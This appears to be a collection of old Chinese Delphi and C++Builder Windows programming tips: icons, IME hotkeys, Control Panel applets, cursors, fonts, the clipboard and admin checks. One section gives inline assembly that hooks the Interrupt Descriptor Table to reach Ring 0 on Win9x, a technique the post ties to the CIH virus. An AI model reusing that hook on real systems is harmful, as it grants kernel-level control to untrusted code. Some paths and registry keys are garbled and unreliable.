Result := SFI.iIcon;

end;

//获取一个文件的imageindex;

function GetIconIndex(const APath: string; Attrs: DWORD): integer;

var

SFI: TSHFileInfo;

begin

if FileExists(APath) or DirectoryExists(APath) then

// If the file or directory exists, just let Windows figure out it's attrs.

SHGetFileInfo(PChar(APath), 0, SFI, SizeOf(TSHFileInfo),

SHGFI_SYSICONINDEX)

else

// File doesn't exist, so Windows doesn't know what to do with it. We have

// to tell it by passing the attributes we want, and specifying the

// SHGFI_USEFILEATTRIBUTES flag so that the function knows to use them.

SHGetFileInfo(PChar(APath), Attrs, SFI, SizeOf(TSHFileInfo),

SHGFI_SYSICONINDEX or SHGFI_USEFILEATTRIBUTES);

Result := SFI.iIcon;

end;

实例调用：

//如在TreeView中得到c:的图标，因为是路径所以要加上路径的标志

aNode.ImageIndex := GetIconIndex('c:,

FILE_ATTRIBUTE_NORMAL or FILE_ATTRIBUTE_DIRECTORY);

//如在TreeView中得到c:.html的图标

aNode.ImageIndex := GetIconIndex('c:.html',FILE_ATTRIBUTE_NORMAL);


中文输入法的热键
yanghaijun (1999-4-20 16:48:38)

哈，这个问题找我。

要知道WINDOWS的大部分秘密均在注册表中，一开注册表，万事大吉。

请查看_CURRENT_USERPanelMethodKeys

路径下，你会发现诸如：00000011、00000012等子键，每一子键代

表一种输入的热键，该子键有如下键值：

Key Modifiers ： 用于指定功能转换键，如Alt、Shift或左Alt等

： 如alt，可能为 01 c0 00 00

Target IME ： 用于指定具体的输入法，如 04 08 24 0e

Virtual Key ： 用于指定字母键名，如3，则为 33 00 00 00

上面例子中指定了输入法04 08 24 0e的热键为alt+3。

而对于Taget IME的值，你可将其16进制值直接翻译成字符串，如

上例中的04 08 24 0e，变成e0240804，然后，你可据此进入另一个路径：

_LOCAL_MACHINElayouts

在此路径下你会找到一个子键e0240804，找到并打开它，你可看到如下的

键值：

IME file

layout file

layout text ： 该输入法的显示名称，如“王码五笔型”

至此一切都明白了吗，你设置“王码五笔型”的热键为ALT+3。

这里你唯一难清楚的是Key Modifiers的值的获取方法，我也没时间

试，最多你在系统中设置不同的方式以检测其不同的取值，不会很多，组合

键有：Ctrl、Alt、Shift及左键、右键五个。

祝你好运！我的答案你可满意？

jghuang (1999-4-20 18:49:15)

啊!中午起了一个头,现在已经答得这么全了,白忙乎了半天

嘻嘻,还留了一点.^_^

关于Key Modifiers的值, 本人稍作分析,发现它作为一个32为二进制串,意义如下:

00000 1 1 1 1 1 000000 0000000000000000

^ ^ ^ ^ ^

shift ctrl alt 左 右

1:有,0:无.

祝你好运！我的有头有尾你可满意？

BOOL WINAPI ImmGetHotKey(DWORD dwHotKeyID, LPUINT lpuModifiers,

LPUINT lpuVKey, LPHKL lphKL)

uses

Menus, Imm, ShellApi, About;

function ImmGetHotKey(dwHotKeyID: DWord; var uModifiers: UINT;

var uVKey: UINT; var hKL: HKL): Boolean; stdcall; external 'Imm32.dll' Name 'ImmGetHotKey';

function HotKeyToStr(uModifiers, uVKey: UINT): string;

var

Shift: TShiftState;

begin

Shift := [];

if uModifiers and MOD_ALT <> 0 then Shift := Shift + [ssAlt];

if uModifiers and MOD_CONTROL <> 0 then Shift := Shift + [ssCtrl];

if uModifiers and MOD_SHIFT <> 0 then Shift := Shift + [ssShift];

if uModifiers and MOD_LEFT <> 0 then Shift := Shift + [ssLeft];

if uModifiers and MOD_RIGHT <> 0 then Shift := Shift + [ssRight];

Result := ShortCutToText(ShortCut(uVKey, Shift));

end;

procedure TSetImeForm.FormCreate(Sender: TObject);

const

nHKL_LIST = 20;

var

iImeCount, i, j, iImageIndex: Integer;

hImeList: array[1..nHKL_LIST] of HKL;

szImeFileName: array[0..MAX_PATH] of Char;

szImeName: array[0..254] of Char;

hLargeIcon, hSmallIcon: HICON;

Icon: TIcon;

uModifiers, uVKey: UINT;

hIme: HKL;

sHotKeys: string;

begin

ListView.Items.Clear;

iImeCount := GetKeyboardLayoutList(nHKL_LIST, hImeList);

for i := 1 to iImeCount do

if ImmEscape(hImeList[i], 0, IME_ESC_IME_NAME, @szImeName) > 0 then

begin

iImageIndex := -1;

ImmGetIMEFileName(hImeList[I], szImeFileName, MAX_PATH);

if ExtractIconEx(szImeFileName, 0, hLargeIcon, hSmallIcon, 1) <> 0 then

begin

Icon := TIcon.Create;

Icon.Handle := hSmallIcon;

iImageIndex := ImageList.AddIcon(Icon);

Icon.Free;

end;

with ListView.Items.Add do

begin

Caption := szImeName;

ImageIndex := iImageIndex;

if Caption = SysIni.ReadString(seUser, idDefaultIme, '五笔型码') then

Selected := True;

end;

end;

for i := IME_HOTKEY_DSWITCH_FIRST to IME_HOTKEY_DSWITCH_LAST do

if ImmGetHotKey(i, uModifiers, uVKey, hIme) then

for j := 1 to iImeCount do

if hIme = hImeList[j] then //First Ime is En, and has not name

ListView.Items[j - 2].SubItems.Add(HotKeyToStr(uModifiers, uVKey));

sHotKeys := '';

if ImmGetHotKey(IME_CHOTKEY_IME_NONIME_TOGGLE, uModifiers, uVKey, hIme) then

sHotKeys := sHotKeys + '打开关闭输入法' + ' ' + HotKeyToStr(uModifiers, uVKey) + #13;

if ImmGetHotKey(IME_CHOTKEY_SYMBOL_TOGGLE, uModifiers, uVKey, hIme) then

sHotKeys := sHotKeys + '切换中英文符号' + ' ' + HotKeyToStr(uModifiers, uVKey) + #13;

if ImmGetHotKey(IME_CHOTKEY_SHAPE_TOGGLE, uModifiers, uVKey, hIme) then

sHotKeys := sHotKeys + '切换全角和半角' + ' ' + HotKeyToStr(uModifiers, uVKey) + #13;

HotKeyList.Caption := sHotKeys;

end;


取得0级特权
我发现了一篇发表在1999.11.29 b13版的

《令win32应用程序跳入系统层》东南大学 卢威 luwei@126.com

是用vc++嵌汇编做的，

很接近了，可试试

BCB或DELPHI进入Ring0

东南大学卢威1999.12发表在<<计算机世界>>报上的一篇

<<WIN32跳入系统0层>>，原采用VC++编程,现改成C++Builder

供诸位参考,DELPHI类似；

void Ring0Proc() // 在Ring0中执行你自已的代码

{

// .......

asm mov eax,CR0; // 试验一下Ring3不能执行的特权指令

// .......

}

// =====================================================

void __declspec(naked) NewInt() //新中断

{

Ring0Proc();

asm iretd;

}

#define IntNo 9

DWORDLONG IDTR,SavedGate;

WORD OurGate[4]={0,0x0028,0xee00,0x0000};

void GotoRing0()

{

asm

{

mov eax,offset NewInt;

mov [OurGate],ax;

shr eax,16;

mov [OurGate+6],ax;

sidt fword ptr IDTR;

mov ebx,dword ptr [IDTR+2];

add ebx,IntNo*8;

mov edi,offset SavedGate;

mov esi,ebx;

movsd;

movsd;

mov edi,ebx;

mov esi,offset OurGate;

movsd;

movsd;

int IntNo;

mov edi,ebx; // 开始恢复原中断门

mov esi,offset SavedGate;

movsd;

movsd;

}

}

// ===================================================

void __fastcall TForm1::Button1Click(TObject *Sender)

{

GotoRing0();

}

***********************************************

编译是通过了，你自己调试一下吧。

lea esi, MyInt; 一句语法应该有逻辑错误，要在Debug中仔细看一下。

procedure MyInt;

asm

// 这里面的内容可要你自己写哦。

end;

const HookExceptionNumber = 3;

procedure GetRing0;

asm

// 连续压入8个字节作为缓冲区

push eax

push eax;

// 取得idt偏移，共6字节，含段选择子2字节，偏移4字节。

sidt [esp-02h]; // Get IDT Base Address

// 弹出4字节偏移

pop ebx;

// 每个中断门8字节，所以偏移是HookExceptionNumber*08h

// 另外的4字节是定位到中心，因为中断门的4字节偏移分开放在8字节的0、1、6、7中。

// 0、1存放偏移低16位，6、7存放高16位。2，3是段选择子。4、5是门属性。

add ebx, HookExceptionNumber*08h + 04h;

// 关中断，准备修改idt。

cli

// 取得中断门的4、5、6、7字节，其中6、7字节在ebp高16位

mov ebp, [ebx]; // Get Exception Base

// 取得中断门的0、1字节到bp（实际上是ebp的低16位）。

mov bp, [ebx-04h]; // Entry Point

// 这样就合成了完整的32位偏移。

// 取得自己中断函数入口地址，放入esi中。

lea esi, MyInt;

// 压入堆栈

push esi

// 填充入口低16位到中断门0、1字节。

mov [ebx-04h], si;

// 将高16位移动到低16位。

shr esi, 16; // Modify Exception

// 填充入口高16位到中断门6、7字节。

mov [ebx+02h], si; // Entry Point Address

// idt修改完毕。

// 调整堆栈

pop esi

// 此时堆栈比初始状态多压8字节。估计是在引发的中断中处理。

// ebp的初始中断入口估计也是在自己的中断函数中用于恢复现场。

// 后面的就是引发软中断，取得ring0权力。

// 不过说句老实话。CIH的创意是不错，不过CIH的汇编的水平其实很一般。

int HookExceptionNumber; // GenerateException

// ReadyRestoreSE:

sti

end;

----------------------------------

const IntNo=9;

var

IDTR,SavedGate:int64;

OurGate:array[0..3] of word=(0,$0028,$ee00,$0000);

procedure Ring0Proc; // 在Ring0中执行你自已的代码

begin

// .......

asm

mov eax,CR0; // 试验一下Ring3不能执行的特权指令

end;

end;

// =====================================================

procedure NewInt(); //新中断

begin

Ring0Proc();

asm

iretd;

end;

end;

procedure GotoRing0;

begin

asm

mov eax,offset NewInt;

mov word ptr[OurGate],ax;

shr eax,16;

mov word ptr[OurGate+6],ax;

sidt fword ptr IDTR;//在Delphi中应该改成：lea ebx, idtr; sidt [ebx]

mov ebx,dword ptr [IDTR+2];

add ebx,IntNo*8;

mov edi,offset SavedGate;

mov esi,ebx;

movsd;

movsd;

mov edi,ebx;

mov esi,offset OurGate;

movsd;

movsd;

int IntNo;

mov edi,ebx; // 开始恢复原中断门

mov esi,offset SavedGate;

movsd;

movsd;

end;

end;

// ===================================================

procedure TForm1.Button1Click(Sender: TObject);

begin

gotoring0;

end;

********************************

const IntNo=3;

//var

//IDTR,SavedGate:int64;

procedure Ring0Proc; // 在Ring0中执行你自已的代码

begin

// .......

// showmessage('kfsdj;fk');

asm

mov eax,CR0; // 试验一下Ring3不能执行的特权指令

end;

end;

// =====================================================

procedure NewInt(); //新中断

begin

Ring0Proc();

asm

iretd;

end;

end;

procedure GotoRing0;

begin

asm

mov edi,offset buf;

sidt [edi]; //Get IDT-->buf;

mov ebx,[edi+2] //求中断门基址

add ebx,IntNo*8;

mov esi,ebx;

push edi;

push esi;

movsd;

movsd;

cli;

mov eax,offset newint;

mov [ebx],ax;

shr eax,16;

mov [ebx+6],ax;

mov ax,0ee00h;

mov [ebx+4],ax;

int intno;

pop edi

pop esi;

movsd;

movsd;

sti;

end;

end;


如何获取控制面板程序的信息？
uses cpl,ctlpanel;

procedure TForm1.Button1Click(Sender: TObject);

var

Proc : TCPlApplet;

Info : TNewCplInfo;

Mo : THandle;

begin

MO:=LoadLibrary('Desk.cpl');

@Proc := GetProcAddress(mo,'CPlApplet');

{取得的@Proc始终为nil，请帮我看看是哪里错了，现在这个问题应该不是很难吧}

if @Proc<>nil then

begin

Proc(Handle,CPL_NEWINQUIRE,0,LongInt(@Info));

Image1.Picture.Icon.Handle:=Info.hIcon;

Label1.caption:=Info.szName;

Label2.caption:=Info.szInfo;

end;

FreeLibrary(Mo);

end;

实际上，以上的方法还是

有问题。（我只测试了Desk.cpl便以为通过了），但当我测试这几项时，便不行了，

请有兴趣的朋友看看：

Sysdm.cpl,netcpl.cpl,modem.cpl,inetcpl.cpl,appwiz.cpl,odbc32.cpl,bde admin.cpl

其中sysdm,netcpl,在LoadLibrary时失败，

我用GetlastError检查，提示为“与系统连接的设备不能正常运转”，而剩余的几个则LoadLibrary可以通过，但提出来的szInfo以及szName全是乱码，解决方法如下：

procedure TForm1.Button1Click(Sender: TObject);

var

Proc : TCPlApplet;

Info : TNewCplInfo;

Mo : THandle;

buf:pchar;

info2:cplinfo;

begin

getmem(buf,255);

MO:=LoadLibrary('inetcpl.cpl');

// showmessage(GetErrorMessage(255));

@Proc := GetProcAddress(mo,'CPlApplet');

if @Proc<>nil then

begin

proc(handle,CPL_INIT,0,0);

proc(handle,CPL_GETCOUNT,0,0);

proc(handle,CPL_INQUIRE,0,integer(@info2));

loadstring(mo,info2.idName,buf,255);

label3.Caption:=buf;

loadstring(mo,info2.idInfo,buf,255);

label4.Caption:=buf;

image2.Picture.Icon.Handle:=loadicon(mo,MAKEINTRESOURCE(info2.idIcon));

Proc(Handle,CPL_NEWINQUIRE,0,integer(@Info));

Image1.Picture.Icon.Handle:=Info.hIcon;

Label1.caption:=Info.szName;

Label2.caption:=Info.szInfo;

end;

freemem(buf);

FreeLibrary(Mo);

end;


系统光标的设置和恢复
设置：

h:=loadcursorfromfile('c:.cur');

setsystemcursor(h,ocr_normal);

恢复：

SystemParametersinfo(SPI_SETCURSORS,0,nil,SPIF_SENDCHANGE);


Windows菜单字体的设置和恢复
Windows菜单字体的设置和恢复

{ Returns menu font size }

function GetMenuFontSize: Integer;

var

ncm: TNonClientMetrics;

PixelsPerInch: integer;

begin

ncm.cbSize := sizeof(TNonClientMetrics);

SystemParametersInfo(

SPI_GETNONCLIENTMETRICS,

sizeof(NONCLIENTMETRICS),

@ncm,

SPIF_UPDATEINIFILE

);

PixelsPerInch := GetDeviceCaps(GetDC(0), LOGPIXELSY);

Result := -MulDiv(ncm.lfMenuFont.lfHeight, 72, PixelsPerInch);

end;

{ Set menu font size }

procedure SetMenuFontSize(FontSize: Integer);

var

ncm: TNonClientMetrics;

PixelsPerInch: Integer;

begin

ncm.cbSize := sizeof(TNonClientMetrics);

SystemParametersInfo(

SPI_GETNONCLIENTMETRICS,

sizeof(NONCLIENTMETRICS),

@ncm,

0

);

PixelsPerInch := GetDeviceCaps(GetDC(0), LOGPIXELSY);

ncm.lfMenuFont.lfHeight := -MulDiv(FontSize, PixelsPerInch, 72);

SystemParametersInfo(

SPI_SETNONCLIENTMETRICS,

sizeof(NONCLIENTMETRICS),

@ncm,

SPIF_UPDATEINIFILE

);

end;


控制面板
应用程序运行时，有时需要对系统环境有特殊要求。例如，在Delphi数据库应用程序中可能需要进行BDE（Borland Database Engine）或ODBC数据源名称（DSN:Data Source Name）的设置；在网络应用程序中可能需要进行网络配置设置、Modem属性设置或用户拨号连接的帐号和密码的设置并保存在系统中；在CTI（Computer-Telephony Integration）应用程序中可能需要进行电话拨号属性的设置；在游戏程序中可能需要对多媒体或游戏控制器进行设置；等等。这时候就需要改变Windows系统的环境设置，以适应应用程序正常运行的要求。当应用程序不能自行进行环境设置时，可能需要软件用户来参与、协助完成设置。

    Win9X/NT的大多数系统设置是在控制面板中进行的。我们可以要求用户自己打开控制面板寻找相应的项目进行设置，此时要求用户对控制面板相当熟悉；也可以在程序中自动为用户打开控制面板并选择相应的项目，此时用户所做的只是进行设置。后一种方法无疑更具有友好性，更能提高用户的工作效率。

    控制面板的大多数项目设置，都对应Windows的System目录下的一个CPL文件，如“Internet”属性对应的文件为InetCpl.cpl、“多媒体”属性对应的文件为MmSys.cpl等。通过调用这些文件可以打开相应的属性设置窗口，甚至可以跳到相应的属性页如“Internet”属性的“连接”属性页，有效减少软件用户的操作步骤。

    CPL文件的调用格式为“RunDLL32.exe Shell32.dll,Control_RunDLL CPLFile.cpl,,ItemNo”（可参见注册表中HKEY_CLASSES_ROOT的默认值），其中CPLFile.cpl为CPL文件，ItemNo为项目编号。在Delphi程序中，可以用WinExec或CreateProcess函数来实现CPL文件调用，从而实现对控制面板的设置项目的调用。如进行拨号连接的帐号和密码设置要调用“Internet”属性的“连接”属性页，可以用语句“WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL InetCpl.cpl,,3’,, SW_SHOWNORMAL);”；解决２０００年问题中对两位年份输入的解释要调用“区域设置”的“日期”属性页，可以用语句：“WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Intl.cpl,,4’,, SW_SHOWNORMAL);”。

    控制面板各项目设置调用所对应的语句列表如下：

//打开控制面板

WinExec(’RunDLL.exe Shell32.DLL,Control_RunDLL’,SW_SHOWNORMAL);

//32位ODBC数据源管理器，ODBC数据源、ODBC驱动程序设置

//没有提供参数区分“用户DSN”“系统DSN”“文件DSN”“ODBC驱动程序”“跟踪”“关于”六个属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL ODBCCP32.CPL’,SW_SHOWNORMAL);

//BDE Adminstrator

//没有提供参数区分“Databases”和“Configuration”两个属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL BdeAdmin.CPL’,SW_SHOWNORMAL);

//Internet 属性，可有ItemNo参数

//“常规”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL InetCpl.cpl,,0’, SW_SHOWNORMAL);

//“安全”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL InetCpl.cpl,,1’, SW_SHOWNORMAL);

//“内容”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL InetCpl.cpl,,2’, SW_SHOWNORMAL);

//“连接”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL InetCpl.cpl,,3’, SW_SHOWNORMAL);

//“程序”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL InetCpl.cpl,,4’, SW_SHOWNORMAL);

//“高级”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL InetCpl.cpl,,5’, SW_SHOWNORMAL);

//电话拨号属性，没有提供参数区分“我的位置”和“电话语音驱动程序”两个属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Telephon.cpl’, SW_SHOWNORMAL);

//电源管理设置，没有提供参数区分“电源方案”和“高级”两个属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL PowerCfg.cpl’, SW_SHOWNORMAL);

//调制解调器设置，没有提供参数区分“常规”和“诊断”两个属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Modem.cpl’, SW_SHOWNORMAL);

//多媒体设置，可有ItemNo参数

//“音频”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Mmsys.cpl,,0’, SW_SHOWNORMAL);

//“视频”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Mmsys.cpl,,1’, SW_SHOWNORMAL);

//“MIDI”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Mmsys.cpl,,2’, SW_SHOWNORMAL);

//“CD音乐”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Mmsys.cpl,,3’, SW_SHOWNORMAL);

//“设备”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Mmsys.cpl,,4’, SW_SHOWNORMAL);

//辅助选项设置，可有ItemNo参数

//“键盘”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL access.cpl,,1’,SW_SHOWNORMAL);

//“声音”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL access.cpl,,2’, SW_SHOWNORMAL);

//“显示”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL access.cpl,,3’, SW_SHOWNORMAL);

//“鼠标”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL access.cpl,,4’, SW_SHOWNORMAL);

//“常规”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL access.cpl,,5’, SW_SHOWNORMAL);

//密码设置，没有提供参数区分“更改密码”和“修改用户配置”两个属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Password.cpl’, SW_SHOWNORMAL);

//区域设置，可有ItemNo参数

//“区域设置”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Intl.cpl,,0’, SW_SHOWNORMAL);

//“数字”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Intl.cpl,,1’, SW_SHOWNORMAL);

//“货币”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Intl.cpl,,2’, SW_SHOWNORMAL);

//“时间”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Intl.cpl,,3’, SW_SHOWNORMAL);

//“日期”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Intl.cpl,,4’, SW_SHOWNORMAL);

//日期/时间设置，可有ItemNo参数

//“日期和时间”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL TimeDate.cpl,,0’, SW_SHOWNORMAL);

//“时区”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL TimeDate.cpl,,1’, SW_SHOWNORMAL);

//鼠标设置，没有提供参数区别“按钮”、“指针”和“移动”三个属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Main.cpl’, SW_SHOWNORMAL);

//添加/删除程序设置，可有ItemNo参数

//“安装/卸载”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL AppWiz.cpl,,1’, SW_SHOWNORMAL);

//“Windows安装程序”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL AppWiz.cpl,,2’, SW_SHOWNORMAL);

//“启动盘”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL AppWiz.cpl,,3’, SW_SHOWNORMAL);

//网络设置，没有提供参数区别“配置”、“标识”和“访问控制”三个属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL NetCpl.cpl’, SW_SHOWNORMAL);

//系统设置，

//“常规”属性页， 可有ItemNo参数

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL SysDm.cpl,,0’, SW_SHOWNORMAL);

//“设备管理器”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL SysDm.cpl,,1’, SW_SHOWNORMAL);

//“硬件配置文件”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL SysDm.cpl,,2’, SW_SHOWNORMAL);

//“性能”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL SysDm.cpl,,3’, SW_SHOWNORMAL);

//显示设置， 可有ItemNo参数

//“背景”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL desk.cpl,,0’, SW_SHOWNORMAL);

//“屏幕保护程序”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL desk.cpl,,1’, SW_SHOWNORMAL);

//“外观”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL desk.cpl,,2’, SW_SHOWNORMAL);

//“设置”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL desk.cpl,,3’, SW_SHOWNORMAL);

//游戏控制器设置，可有ItemNo参数

//“一般”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Joy.cpl,,0’, SW_SHOWNORMAL);

//“高级”属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL Joy.cpl,,1’, SW_SHOWNORMAL);

//扫描仪与数字相机设设置，没有提供参数区分“设备”和“记录设置”两个属性页

WinExec(’RunDLL32.exe Shell32.dll,Control_RunDLL StiCpl.cpl’, SW_SHOWNORMAL);


资源管理器类名
Windows Explorer window

ExplorerWClass

~~~~~~~~~~~~~~

var

TheWindow: HWND;

begin

//find a handle to the Windows Explorer window

Thewindow := FindWindow('ExplorerWClass',nil);

//bring it to the top

BringWindowToTop(TheWindow);

end;


屏幕保护程序的预览功能
program Project1;

uses

Forms,

SysUtils,

Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}

var

Hwnd : Cardinal;

begin

Application.Initialize;

Application.CreateForm(TForm1, Form1);

if ParamStr(1) = '/p' then

begin

Hwnd := StrToInt(ParamStr(2));

Form1.ParentWindow := Hwnd;

Form1.Visible := True;

form1.Left := 0;

form1.Top := 0;

end;

Application.Run;

end.


何种操作系统
方法一：

可以通过TRegistry读取注册表来获取当前系统语言信息。具体注册表位置是：

Key: HKEY_LOCAL_MACHINE

Item: (默认)

Value: 00000804 表示Chinese(PRC)，说明是中文Win95

00000409 表示美国英语，说明是西文Win95

方法二：

可以使用以下代码：936是简体Windows95的code page

if (GetSystemMetrics(SM_DBCSENABLED) > 0) and (IsValidCodePage(936) ) then

bChineseMode := True

else

bChineseMode:=False;


复制文本到剪贴版和从剪贴版取文字
uses ClipBrd;

procedure StrToClipbrd(StrValue: string);

var

A: array[0..255] of char;

begin

StrPCopy(A, StrValue);

Clipboard.SetTextBuf(A);

end;

function GetStrFromClipbrd : string;

begin

if Clipboard.HasFormat(CF_TEXT) then

result := Clipboard.AsText

else

begin

ShowMessage('There is no text in the Clipboard!');

result := '';

end;

end;


判断是否为超级用户 [ Win2000 ]
function IsAdmin: Boolean;

var

hAccessToken: THandle;

ptgGroups: PTokenGroups;

dwInfoBufferSize: DWORD;

psidAdministrators: PSID;

x: Integer;

bSuccess: BOOL;

begin

Result := False;

bSuccess := OpenThreadToken(GetCurrentThread, TOKEN_QUERY, True,

hAccessToken);

if not bSuccess then

begin

if GetLastError = ERROR_NO_TOKEN then

bSuccess := OpenProcessToken(GetCurrentProcess, TOKEN_QUERY,

hAccessToken);

end;

if bSuccess then

begin

GetMem(ptgGroups, 1024);

bSuccess := GetTokenInformation(hAccessToken, TokenGroups,

ptgGroups, 1024, dwInfoBufferSize);

CloseHandle(hAccessToken);

if bSuccess then

begin

AllocateAndInitializeSid(SECURITY_NT_AUTHORITY, 2,

SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,

0, 0, 0, 0, 0, 0, psidAdministrators);

{$R-}

for x := 0 to ptgGroups.GroupCount - 1 do

if EqualSid(psidAdministrators, ptgGroups.Groups[x].Sid) then

begin

Result := True;

Break;

end;

{$R+}

FreeSid(psidAdministrators);

end;

FreeMem(ptgGroups);

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

if isAdmin then

begin

ShowMessage('Logged in as Administrator');

end;


Html Help的常见函数和命令定义
unit MyHTMLHelp;

interface

uses

Windows;

const

// Commands to pass to HtmlHelp()

HH_DISPLAY_TOPIC = $0000;

HH_HELP_FINDER = $0000; // WinHelp equivalent

HH_DISPLAY_TOC = $0001; // not currently implemented

HH_DISPLAY_INDEX = $0002; // not currently implemented

HH_DISPLAY_SEARCH = $0003; // not currently implemented

HH_SET_WIN_TYPE = $0004;

HH_GET_WIN_TYPE = $0005;

HH_GET_WIN_HANDLE = $0006;

HH_ENUM_INFO_TYPE = $0007; // Get Info type name, call repeatedly to enumerate, -1 at end

HH_SET_INFO_TYPE = $0008; // Add Info type to filter.

HH_SYNC = $0009;

HH_RESERVED1 = $000A;

HH_RESERVED2 = $000B;

HH_RESERVED3 = $000C;

HH_KEYWORD_LOOKUP = $000D;

HH_DISPLAY_TEXT_POPUP = $000E; // display string resource id or text in a popup window

HH_HELP_CONTEXT = $000F; // display mapped numeric value in dwData

HH_TP_HELP_CONTEXTMENU = $0010; // text popup help, same as WinHelp HELP_CONTEXTMENU

HH_TP_HELP_WM_HELP = $0011; // text popup help, same as WinHelp HELP_WM_HELP

HH_CLOSE_ALL = $0012; // close all windows opened directly or indirectly by the caller

HH_ALINK_LOOKUP = $0013; // ALink version of HH_KEYWORD_LOOKUP

HH_GET_LAST_ERROR = $0014; // not currently implemented // See HHERROR.h

HH_ENUM_CATEGORY = $0015; // Get category name, call repeatedly to enumerate, -1 at end

HH_ENUM_CATEGORY_IT = $0016; // Get category info type members, call repeatedly to enumerate, -1 at end

HH_RESET_IT_FILTER = $0017; // Clear the info type filter of all info types.

HH_SET_INCLUSIVE_FILTER = $0018; // set inclusive filtering method for untyped topics to be included in display

HH_SET_EXCLUSIVE_FILTER = $0019; // set exclusive filtering method for untyped topics to be excluded from display

HH_INITIALIZE =$001C; // Initializes the help system.

HH_UNINITIALIZE =$001D; // Uninitializes the help system.

HH_PRETRANSLATEMESSAGE = $00fd; // Pumps messages. (NULL, NULL, MSG*).

HH_SET_GLOBAL_PROPERTY = $00fc; // Set a global property. (NULL, NULL, HH_GPROP)

HHWIN_PROP_TAB_AUTOHIDESHOW = (1 shl 0); // Automatically hide/show tri-pane window

HHWIN_PROP_ONTOP = (1 shl 1); // Top-most window

HHWIN_PROP_NOTITLEBAR = (1 shl 2); // no title bar

HHWIN_PROP_NODEF_STYLES = (1 shl 3); // no default window styles (only HH_WINTYPE.dwStyles)

HHWIN_PROP_NODEF_EXSTYLES = (1 shl 4); // no default extended window styles (only HH_WINTYPE.dwExStyles)

HHWIN_PROP_TRI_PANE = (1 shl 5); // use a tri-pane window

HHWIN_PROP_NOTB_TEXT = (1 shl 6); // no text on toolbar buttons

HHWIN_PROP_POST_QUIT = (1 shl 7); // post WM_QUIT message when window closes

HHWIN_PROP_AUTO_SYNC = (1 shl 8); // automatically ssync contents and index

HHWIN_PROP_TRACKING = (1 shl 9); // send tracking notification messages

HHWIN_PROP_TAB_SEARCH = (1 shl 10); // include search tab in navigation pane

HHWIN_PROP_TAB_HISTORY = (1 shl 11); // include history tab in navigation pane

HHWIN_PROP_TAB_FAVORITES = (1 shl 12); // include favorites tab in navigation pane

HHWIN_PROP_CHANGE_TITLE = (1 shl 13); // Put current HTML title in title bar

HHWIN_PROP_NAV_ONLY_WIN = (1 shl 14); // Only display the navigation window

HHWIN_PROP_NO_TOOLBAR = (1 shl 15); // Don't display a toolbar

HHWIN_PROP_MENU = (1 shl 16); // Menu

HHWIN_PROP_TAB_ADVSEARCH = (1 shl 17); // Advanced FTS UI.

HHWIN_PROP_USER_POS = (1 shl 18); // After initial creation, user controls window size/position

HHWIN_PROP_TAB_CUSTOM1 = (1 shl 19); // Use custom tab #1

HHWIN_PROP_TAB_CUSTOM2 = (1 shl 20); // Use custom tab #2

HHWIN_PROP_TAB_CUSTOM3 = (1 shl 21); // Use custom tab #3

HHWIN_PROP_TAB_CUSTOM4 = (1 shl 22); // Use custom tab #4

HHWIN_PROP_TAB_CUSTOM5 = (1 shl 23); // Use custom tab #5

HHWIN_PROP_TAB_CUSTOM6 = (1 shl 24); // Use custom tab #6

HHWIN_PROP_TAB_CUSTOM7 = (1 shl 25); // Use custom tab #7

HHWIN_PROP_TAB_CUSTOM8 = (1 shl 26); // Use custom tab #8

HHWIN_PROP_TAB_CUSTOM9 = (1 shl 27); // Use custom tab #9

